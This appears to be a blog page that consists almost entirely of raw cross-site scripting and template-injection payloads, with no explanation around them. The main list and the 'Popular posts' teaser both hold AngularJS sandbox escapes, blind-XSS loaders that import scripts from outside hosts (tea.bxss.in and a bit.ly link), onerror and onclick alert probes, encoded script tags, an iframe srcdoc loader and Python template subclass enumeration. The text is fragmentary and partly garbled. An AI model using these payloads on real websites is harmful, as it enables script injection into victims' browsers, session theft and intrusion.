Skip to main content

{{constructor.constructor('import("https://tea.bxss.in")')()}}

  2. {{constructor.constructor('import("https://tea.bxss.in")')()}} {{ '7'*7 }}"> {{ '7'*7 }}">
    {{constructor.constructor('import("https://tea.bxss.in")')()}}
  3. {{ '7'*7 }}"><script src=https://tea.bxss.in></script>
  4. {{ '7'*7 }}"><img src=x onerror=alert(document.domain)>
  5. {{ 'import("https://tea.bxss.in")' }}
  6. {{ '7'*7 }}"><script src=//bit.ly/AqE>
  7. &#60script src&#61;&#47&#47bit.ly/AqE&#62
  8. &#60;marquee onstart&#61;alert(4)&#62;test
  9. {{ '7'*7 }}">&lt;script src=//bit.ly/AqE&gt;
  10. http:t/y;1)[2](vbscript:1(gg.com))[1](javascript://%0d%0a1(1);com


<iframe/srcdoc=”<script/src=//bit.ly/AqE></script>”>
 {{ 'import("https://tea.bxss.in")' }} {{ '7'*7 }}">”>

Comments

Post a Comment

Popular posts from this blog

ttttttttttt

%0D%0Adata:text/html;text, ! %0D%0Adata:text/html;text, ';-- ">'> ?readyFunction=alert%28document.domain%2b'%20XSSed!'%29 " onclick="alert(1)" "> ['-confirm(1)-'] http:// hellololo"> https://www.youtube.com/aaa"> < "onmouseover%3Dconfirm(1)// ftp://test.com/file wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz {{ '7'*7 }} {{ [].class.base.subclasses() }} # get all classes {{''.class.mro()[1].subclasses()}} {%for c in [1,2,3] %}{{c,c,c}}{% endfor %} "> ab/ "> > http:// "> Uh oh! "> 11 %0a.hh.com [http://0a.hh.com/&h=raqfehm_-aqgd7hbnxlopocqsnvqftneuqvaern…] {{ '7'*7 }}"> "> {{ '7'*7 }} "onmouseover=alert(1)> ”> {{ '7'*7 }}'"()&%1 https://ɡoogle.com "...
Post a Comment
Read more